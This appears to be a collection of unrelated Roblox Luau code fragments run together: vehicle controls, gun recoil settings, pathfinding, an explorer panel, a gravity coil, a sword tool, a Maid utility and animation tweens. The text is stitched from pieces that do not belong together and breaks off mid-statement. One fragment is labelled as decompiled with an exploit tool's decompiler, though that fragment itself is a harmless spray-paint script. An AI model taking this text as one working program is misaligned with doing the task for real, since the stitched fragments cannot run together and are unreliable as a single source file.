function RoomPackager:CornersOfPart(part) local cframe = part.CFrame local halfSizeX = part.Size.X / 2 local halfSizeY = part.Size.Y / 2 local halfSizeZ = part.Size.Z / 2 local corners = { RightTopBack = cframe:pointToWorldSpace(Vector3.new(halfSizeX, halfSizeY, halfSizeZ)), RightBottomBack = cframe:pointToWorldSpace(Vector3.new(halfSizeX, -halfSizeY, halfSizeZ)), RightTopFront = cframe:pointToWorldSpace(Vector3.new(halfSizeX, halfSizeY, -halfSizeZ)), RightBottomFront = cframe:pointToWorldSpace(Vector3.new(halfSizeX, -halfSizeY, -halfSizeZ)), LeftTopBack = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, halfSizeY, halfSizeZ)), LeftBottomBack = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, -halfSizeY, halfSizeZ)), LeftTopFront = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, halfSizeY, -halfSizeZ)), LeftBottomFront = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, -halfSizeY, -halfSizeZ)), } return corners end
---[[ Chat Behaviour Settings ]]
module.WindowDraggable = false module.WindowResizable = false module.ShowChannelsBar = true module.GamepadNavigationEnabled = false module.ShowUserOwnFilteredMessage = true --Show a user the filtered version of their message rather than the original.
--// Recoil Settings
gunrecoil = -0.3; -- How much the gun recoils backwards when not aiming camrecoil = 0.36; -- How much the camera flicks when not aiming AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming AimCamRecoil = 0.43; -- How much the camera flicks when aiming CamShake = 2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING AimCamShake = 3; -- THIS IS ALSO NEW!!!! Kickback = 0.2; -- Upward gun rotation when not aiming AimKickback = 0.2; -- Upward gun rotation when aiming
-- list of user ids of who you would like to use this command, requires needswhitelist to be true -- owner of the game/group is added by default, so you dont need to add them yourself -- Examples: local whitelist = {1,2,3}
--[[ Turns a series of specification functions into a test plan. Uses a TestPlanBuilder to keep track of the state of the tree being built. ]]
local TestPlan = require(script.Parent.TestPlan) local TestPlanner = {}
--[[Controls]]
local _CTRL = _Tune.Controls local Controls = Instance.new("Folder",script.Parent) Controls.Name = "Controls" for i,v in pairs(_CTRL) do local a=Instance.new("StringValue",Controls) a.Name=i a.Value=v.Name a.Changed:connect(function() if i=="MouseThrottle" or i=="MouseBrake" then if a.Value == "MouseButton1" or a.Value == "MouseButton2" then _CTRL[i]=Enum.UserInputType[a.Value] else _CTRL[i]=Enum.KeyCode[a.Value] end else _CTRL[i]=Enum.KeyCode[a.Value] end end) end --Deadzone Adjust local _PPH = _Tune.Peripherals for i,v in pairs(_PPH) do local a = Instance.new("IntValue",Controls) a.Name = i a.Value = v a.Changed:connect(function() a.Value=math.min(100,math.max(0,a.Value)) _PPH[i] = a.Value end) end --Input Handler function DealWithInput(input,IsRobloxFunction) if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus --Shift Down [Manual Transmission] if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end _CGear = math.max(_CGear-1,-1) car.DriveSeat.Filter:FireServer('shift',false) --Shift Up [Manual Transmission] elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end _CGear = math.min(_CGear+1,#_Tune.Ratios-2) car.DriveSeat.Filter:FireServer('shift',true) --Toggle Clutch elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then if input.UserInputState == Enum.UserInputState.Begin then _ClutchOn = false _ClPressing = true elseif input.UserInputState == Enum.UserInputState.End then _ClutchOn = true _ClPressing = false end --Toggle PBrake elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end --Toggle Transmission Mode elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then local n=1 for i,v in pairs(_Tune.TransModes) do if v==_TMode then n=i break end end n=n+1 if n>#_Tune.TransModes then n=1 end _TMode = _Tune.TransModes[n] --Throttle elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GThrot = 1 else _GThrot = _Tune.IdleThrottle/100 end --Brake elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GBrake = 1 else _GBrake = 0 end --Steer Left elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end --Steer Right elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = 1 _SteerR = true else if _SteerL then _GSteerT = -1 else _GSteerT = 0 end _SteerR = false end --Toggle Mouse Controls elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then if input.UserInputState == Enum.UserInputState.End then _MSteer = not _MSteer _GThrot = _Tune.IdleThrottle/100 _GBrake = 0 _GSteerT = 0 _ClutchOn = true end --Toggle TCS elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then if input.UserInputState == Enum.UserInputState.End then if script.Parent.DriveMode.Value ~= "SportPlus" then _TCS = not _TCS end end --Toggle ABS elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then _GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z) --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _GBrake = input.Position.Z end end else _GThrot = _Tune.IdleThrottle/100 _GSteerT = 0 _GBrake = 0 if _CGear~=0 then _ClutchOn = true end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput)
-- Decompiled with the Synapse X Luau decompiler.
print("--[[ LawlR Fix - Spray Paint ]]--"); local l__Players__1 = game:GetService("Players"); local l__Parent__2 = script.Parent; local l__LocalPlayer__3 = l__Players__1.LocalPlayer; local l__mouse__1 = l__LocalPlayer__3:GetMouse(); local u2 = l__LocalPlayer__3; local u3 = l__LocalPlayer__3.PlayerGui; local u4 = nil; local l__SprayGui__5 = l__Parent__2:WaitForChild("SprayGui"); local u6 = nil; local u7 = nil; local u8 = "80373023"; local u9 = nil; l__Parent__2.Equipped:Connect(function() u2 = l__Players__1:GetPlayerFromCharacter(l__Parent__2.Parent); u3 = u2.PlayerGui; u4 = l__SprayGui__5:Clone(); u6 = u4.Frame.Frame.TextBox; u7 = u4.Frame.ImageLabel; u6.Text = u8; u7.Image = "rbxassetid://" .. u8; if u9 then u9:Disconnect(); end; u7.Image = "https://www.roblox.com/asset-thumbnail/image?assetId=" .. u6.Text .. "&width=420&height=420&format=png"; u9 = u6:GetPropertyChangedSignal("Text"):Connect(function() u7.Image = "https://www.roblox.com/asset-thumbnail/image?assetId=" .. u6.Text .. "&width=420&height=420&format=png"; end); u4.Parent = u3; if l__Parent__2.Enabled then local v4 = "rbxasset://textures\\GunCursor.png"; else v4 = "rbxasset://textures\\GunWaitCursor.png"; end; l__mouse__1.Icon = v4; end); l__Parent__2.Unequipped:Connect(function() l__mouse__1.Icon = ""; u8 = u6.Text; u4:Destroy(); end); l__Parent__2:GetPropertyChangedSignal("Enabled"):Connect(function() local l__Parent__5 = l__Parent__2.Parent; if l__Parent__5 and l__Parent__5:IsA("Model") then if l__Parent__2.Enabled then local v6 = "rbxasset://textures\\GunCursor.png"; else v6 = "rbxasset://textures\\GunWaitCursor.png"; end; l__mouse__1.Icon = v6; end; end); l__Parent__2.RemoteFunction.OnClientInvoke = function() return l__mouse__1.Hit, l__mouse__1.TargetSurface, l__mouse__1.Target, u6.Text; end;
------------------------------------------------------------------------------- -- API:
function API:FindPath(pointA, pointB) local points = {} local paths = {} local path local tooLong = false repeat path = pathfindingService:ComputeRawPathAsync(pointA, pointB, 500) table.insert(paths, path) if (path.Status ~= Enum.PathStatus.FailStartNotEmpty and path.Status ~= Enum.PathStatus.FailFinishNotEmpty) then for _,pt in pairs(path:GetPointCoordinates()) do table.insert(points, pt) end if (path.Status == Enum.PathStatus.ClosestOutOfRange) then pointA = points[#points] if (#paths >= MAX_PATHS) then tooLong = true break end end end until (path.Status ~= Enum.PathStatus.ClosestOutOfRange) if (#points > 2) then points = SimplifyPointsStraight(SimplifyPointsDiagonal(points)) end return CreatePathObject(paths, points, (tooLong and Enum.PathStatus.ClosestOutOfRange or path.Status)) end function API:SetEmptyCutoff(emptyCutoff) pathfindingService.EmptyCutoff = emptyCutoff end
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---- Option Bindables
do local optionCallback = { Modifiable = function(value) for i = 1,#actionButtons do actionButtons[i].Obj.Visible = value and Option.Selectable end cancelReparentDrag() end; Selectable = function(value) for i = 1,#actionButtons do actionButtons[i].Obj.Visible = value and Option.Modifiable end cancelSelectDrag() Selection:Set({}) end; } local bindSetOption = explorerPanel:FindFirstChild("SetOption") if not bindSetOption then bindSetOption = Create('BindableFunction',{Name = "SetOption"}) bindSetOption.Parent = explorerPanel end bindSetOption.OnInvoke = function(optionName,value) if optionCallback[optionName] then Option[optionName] = value optionCallback[optionName](value) end end local bindGetOption = explorerPanel:FindFirstChild("GetOption") if not bindGetOption then bindGetOption = Create('BindableFunction',{Name = "GetOption"}) bindGetOption.Parent = explorerPanel end bindGetOption.OnInvoke = function(optionName) if optionName then return Option[optionName] else local options = {} for k,v in pairs(Option) do options[k] = v end return options end end end function SelectionVar() return Selection end Input.InputBegan:connect(function(key) if key.KeyCode == Enum.KeyCode.LeftControl then HoldingCtrl = true end if key.KeyCode == Enum.KeyCode.LeftShift then HoldingShift = true end end) Input.InputEnded:connect(function(key) if key.KeyCode == Enum.KeyCode.LeftControl then HoldingCtrl = false end if key.KeyCode == Enum.KeyCode.LeftShift then HoldingShift = false end end) while RbxApi == nil do RbxApi = GetApiRemote:Invoke() wait() end explorerFilter.Changed:connect(function(prop) if prop == "Text" then Selection.Finding = true rawUpdateList() end end) explorerFilter.FocusLost:connect(function() if explorerFilter.Text == "" then if Selection.Found[1] then scrollBar:ScrollTo(NodeLookup[Selection.Found[1]].Index) end Selection.Finding = false Selection.Found = {} end end) CurrentInsertObjectWindow = CreateInsertObjectMenu( GetClasses(), "", false, function(option) CurrentInsertObjectWindow.Visible = false local list = SelectionVar():Get() for i = 1,#list do RemoteEvent:InvokeServer("InstanceNew", option, list[i]) end DestroyRightClick() end )
--script.Parent:Destroy()
r=script.Parent script:WaitForChild'To' pos=script.Parent.CFrame g,p=r:FindFirstChild'bg'or script.bg,r:FindFirstChild'bp'or script.bp g.Parent,p.Parent=r,r p.position=r.Position function got(t) if t:IsDescendantOf(workspace.Pick)then if t.Parent.Name=='Mod'then r.Parent=t.Parent script.To.Value=workspace.Finish else local m=Instance.new('Model',workspace.Pick) r.Parent,t.Parent=m,m m.Name='Mod' end local w=Instance.new('Weld',r) w.Part0=r w.Part1=t w.C0=CFrame.new(0,0,-r.Size.Z/2-.1) w.C1=CFrame.new(0,0,t.Size.Z/2) elseif r.Parent.Name=='Mod'then r.Parent:Destroy()script.Disabled=true r:Destroy()script:Destroy() return true else script.Disabled=true r:Destroy()script:Destroy() return true end end wait(.1) local rss=script.To.Value.Parent while 1 do if script.To.Value and script.To.Value.Parent and script.To.Value.Parent==rss then path=game:GetService'PathfindingService':ComputeRawPathAsync(pos.p,script.To.Value.Position,100)--wait(2) s2=path:GetPointCoordinates()[2]or path:GetPointCoordinates()[1] a,b=workspace:FindPartOnRay(Ray.new(pos.p,Vector3.new(0,-6)),r.Parent) w=0 repeat w=w+1 if s2 then local cf=CFrame.new(pos.p,s2) pos=cf*CFrame.new(0,0,-.3) a,b=workspace:FindPartOnRay(Ray.new(pos.p,Vector3.new(0,-6)),r.Parent) p.position=Vector3.new(pos.X,b.Y+.3,pos.Z) g.cframe=r.Velocity.magnitude>.5 and CFrame.new(r.Position,r.Position+r.Velocity)or g.cframe if(Vector3.new(r.Position.X,0,r.Position.Z)-Vector3.new(pos.X,0,pos.Z)).magnitude>3 then r.CFrame=r.CFrame-r.Position+Vector3.new(pos.X,b.Y+.3,pos.Z) end else break end wait()until(r.Position-Vector3.new(s2.X,b.y,s2.Z)).magnitude<1 or(r.Position-Vector3.new(s2.X,b.y,s2.Z)).magnitude>6 or w>20 if script.To.Value and(r.Position-script.To.Value.Position).magnitude<8 then if got(script.To.Value)then break end end else script.To.Value,rss=workspace.Finish,workspace wait() end end
-- Animate
playAnimation.OnServerEvent:Connect(function(player, animation, speed) local animation = player.Character:WaitForChild("Humanoid"):LoadAnimation(animation) animation:Play() animation:AdjustSpeed(speed) tool.Unequipped:Connect(function() animation:Stop() end) end)
-- TODO Luau: annoying type erasure here, probably needs the new Records language feature
function Map:set(key: any, value: any): Map<any, any> -- preserve initial insertion order if self._map[key] == nil then -- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number self.size = self.size :: number + 1 table.insert(self._array, key) end -- always update value self._map[key] = value return self end function Map:get(key) return self._map[key] end function Map:clear() local table_: any = table self.size = 0 table_.clear(self._map) table_.clear(self._array) end function Map:delete(key): boolean if self._map[key] == nil then return false end -- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number self.size = self.size :: number - 1 self._map[key] = nil local index = table.find(self._array, key) if index then table.remove(self._array, index) end return true end
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Sounds = { CoilSound = Handle:WaitForChild("CoilSound"), } Gravity = 196.20 JumpHeightPercentage = 0.2 ToolEquipped = false function GetAllConnectedParts(Object) local Parts = {} local function GetConnectedParts(Object) for i, v in pairs(Object:GetConnectedParts()) do local Ignore = false for ii, vv in pairs(Parts) do if v == vv then Ignore = true end end if not Ignore then table.insert(Parts, v) GetConnectedParts(v) end end end GetConnectedParts(Object) return Parts end function SetGravityEffect() if not GravityEffect or not GravityEffect.Parent then GravityEffect = Instance.new("BodyForce") GravityEffect.Name = "GravityCoilEffect" GravityEffect.Parent = Torso end local TotalMass = 0 local ConnectedParts = GetAllConnectedParts(Torso) for i, v in pairs(ConnectedParts) do if v:IsA("BasePart") then TotalMass = (TotalMass + v:GetMass()) end end local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage)) GravityEffect.force = Vector3.new(0, TotalMass, 0) end function HandleGravityEffect(Enabled) if not CheckIfAlive() then return end for i, v in pairs(Torso:GetChildren()) do if v:IsA("BodyForce") then v:Destroy() end end for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do if v then v:disconnect() end end if Enabled then CurrentlyEquipped = true ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) SetGravityEffect() DescendantAdded = Character.DescendantAdded:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) DescendantRemoving = Character.DescendantRemoving:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if HumanoidDied then HumanoidDied:disconnect() end HumanoidDied = Humanoid.Died:connect(function() if GravityEffect and GravityEffect.Parent then GravityEffect:Destroy() end end) Sounds.CoilSound:Play() HandleGravityEffect(true) ToolEquipped = true end function Unequipped() if HumanoidDied then HumanoidDied:disconnect() end HandleGravityEffect(false) ToolEquipped = false end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--- Makes the Maid clean up when the instance is destroyed -- @param Instance Instance The Instance the Maid will wait for to be Destroyed -- @returns Disconnectable table to stop Maid from being cleaned up upon Instance Destroy (automatically cleaned up by Maid, btw) -- @author Corecii
local Disconnect = {Connected = true} Disconnect.__index = Disconnect function Disconnect:Disconnect() self.Connected = false self.Connection:Disconnect() end function Maid:LinkToInstance(Object) local Reference = Instance.new("ObjectValue") Reference.Value = Object -- ObjectValues have weak-like Instance references -- If the Instance can no longer be accessed then it can be collected despite -- the ObjectValue having a reference to it local ManualDisconnect = setmetatable({}, Disconnect) local Connection local function ChangedFunction(Obj, Par) if not Reference.Value then ManualDisconnect.Connected = false return self:DoCleaning() elseif Obj == Reference.Value and not Par then Obj = nil wait() -- Push further execution of this script to the end of the current execution cycle. -- This is needed because when the event first runs it's always still Connected. -- The object may have been reparented or the event manually disconnected or disconnected and ran in that time... if (not Reference.Value or not Reference.Value.Parent) and ManualDisconnect.Connected then if not Connection.Connected then ManualDisconnect.Connected = false return self:DoCleaning() else -- Since this event won't fire if the instance is destroyed while in nil, we have to check -- often to make sure it's not destroyed. Once it's parented outside of nil we can stop doing -- this. We also must check to make sure it wasn't manually disconnected or disconnected and ran. while wait(0.2) do if not ManualDisconnect.Connected then -- Don't run func, we were disconnected manually return elseif not Connection.Connected then -- Otherwise, if we're disconnected it's because instance was destroyed ManualDisconnect.Connected = false return self:DoCleaning() elseif Reference.Value.Parent then -- If it's still Connected then it's not destroyed. If it has a parent then -- we can quit checking if it's destroyed like this. return end end end end end end Connection = Object.AncestryChanged:Connect(ChangedFunction) ManualDisconnect.Connection = Connection Object = nil -- If the object is currently in nil then we need to start our destroy checking loop -- We need to spawn a new Roblox Lua thread right now before any other code runs. -- spawn() starts it on the next cycle or frame, coroutines don't have ROBLOX's coroutine.yield handler -- The only option left is BindableEvents, which run as soon as they are called and use ROBLOX's yield local QuickRobloxThreadSpawner = Instance.new("BindableEvent") QuickRobloxThreadSpawner.Event:Connect(ChangedFunction) QuickRobloxThreadSpawner:Fire(Reference.Value, Reference.Value.Parent) QuickRobloxThreadSpawner:Destroy() self._Tasks[#self._Tasks + 1] = ManualDisconnect -- Give Task to Maid, cleanup this Connection upon cleanup return ManualDisconnect end
-- ROBLOX deviation: used to communicate with the TestEZ test runner
local JEST_TEST_CONTEXT = "__JEST_TEST_CONTEXT__" local LuauPolyfill = require(Packages.LuauPolyfill) local Error = LuauPolyfill.Error local instanceof = LuauPolyfill.instanceof local AssertionError = LuauPolyfill.AssertionError local getType = require(Packages.JestGetType).getType
--F.brakeLights = function(Tog) -- for i,v in pairs(script.Parent.Parent.Parent:getChildren()) do -- if v:FindFirstChild('Brake') then -- v.Braking.Enabled = (carSeat.Ignition.Value == 1 and Tog or false) -- v.Lights.Enabled = (carSeat.Ignition.Value == 1 and Tog or false) -- end -- end --end
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{66,19,20,58},t}, [49]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{66,19},t}, [59]={{66,19,20,57,56,30,41,59},t}, [63]={{66,19,63},t}, [34]={{66,19,20,57,56,30,41,39,35,34},t}, [21]={{66,19,20,21},t}, [48]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{66,19,20,57,56,30,41,39,35,34,32,31},t}, [56]={{66,19,20,57,56},t}, [29]={{66,19,20,57,56,30,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45},t}, [57]={{66,19,20,57},t}, [36]={{66,19,20,57,56,30,41,39,35,37,36},t}, [25]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{66,19,20,57,56,30,41,59,61,71},t}, [20]={{66,19,20},t}, [60]={{66,19,20,57,56,30,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{66,19,20,57,56,30,41,59,61,71,72,76,73,75},t}, [22]={{66,19,20,21,22},t}, [74]={{66,19,20,57,56,30,41,59,61,71,72,76,73,74},t}, [62]={{66,19,63,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{66,19,20,57,56,30,41,39,35,37},t}, [2]={n,f}, [35]={{66,19,20,57,56,30,41,39,35},t}, [53]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{66,19,20,57,56,30,41,59,61,71,72,76,73},t}, [72]={{66,19,20,57,56,30,41,59,61,71,72},t}, [33]={{66,19,20,57,56,30,41,39,35,37,36,33},t}, [69]={{66,19,20,57,56,30,41,60,69},t}, [65]={{66,64,65},t}, [26]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26},t}, [68]={{66,64,67,68},t}, [76]={{66,19,20,57,56,30,41,59,61,71,72,76},t}, [50]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{66},t}, [10]={n,f}, [24]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{66,19,63,62,23},t}, [44]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44},t}, [39]={{66,19,20,57,56,30,41,39},t}, [32]={{66,19,20,57,56,30,41,39,35,34,32},t}, [3]={n,f}, [30]={{66,19,20,57,56,30},t}, [51]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{66,64,67},t}, [61]={{66,19,20,57,56,30,41,59,61},t}, [55]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{66,19,20,57,56,30,41,39,40,38,42},t}, [40]={{66,19,20,57,56,30,41,39,40},t}, [52]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{66,19,20,57,56,30,41},t}, [17]={n,f}, [38]={{66,19,20,57,56,30,41,39,40,38},t}, [28]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{66,64},t}, } return r
--[[Instructions: Put this script IN A BRICK! Then in the same brick insert a ClickDetector, Follow the instructions below]]
function onClicked() script.Parent.BodyGyro.maxTorque = Vector3.new(4e+009, 0, 4e+009) wait(5) script.Parent.BodyGyro.maxTorque = Vector3.new(0, 0, 0) end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--END OF CONFIGURABLE OPTIONS--
r = game:service("RunService") function candamage(myteam,theirteam) if myteam ~= theirteam or (myteam == black and theirteam == black) then return true else return false end end local acceptableparts = { "Head"; "Left Arm"; "Left Leg"; "Right Arm"; "Right Leg"; "Torso"; } function matches(partname) for i,v in pairs(acceptableparts) do if partname == v then return true end end return false end local damage = 5 local slash_damage = 9 local lunge_damage = 18 sword = script.Parent.Handle Tool = script.Parent local SlashSound = sword.SlashSound local LungeSound = sword.LungeSound local UnsheathSound = sword.UnsheathSound function blow(hit) if (hit.Parent == nil) then return end if matches(hit.Name) then local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") if humanoid and humanoid ~= hum and hum then -- final check, make sure sword is in-hand local guygettingsliced = game.Players:GetPlayerFromCharacter(hit.Parent) --OH LOOK, here's an edit local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm) then local joint = right_arm:FindFirstChild("RightGrip") if (joint and (joint.Part0 == sword or joint.Part1 == sword)) then if guygettingsliced then --If he's a player if candamage(vPlayer.TeamColor, guygettingsliced.TeamColor) == true then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end else --If he's not a player (AI, shop, etc) tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool wait(.1) swordOut() wait(.75) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--asimo3089
local person = script.Parent.Parent local cam = game.Workspace.CurrentCamera repeat wait() until game.Workspace:findFirstChild(person.Name)~=nil repeat wait() until game.Workspace:findFirstChild(person.Name):findFirstChild("Head")~=nil local theperson = game.Workspace:findFirstChild(person.Name)
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; ReloadAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, 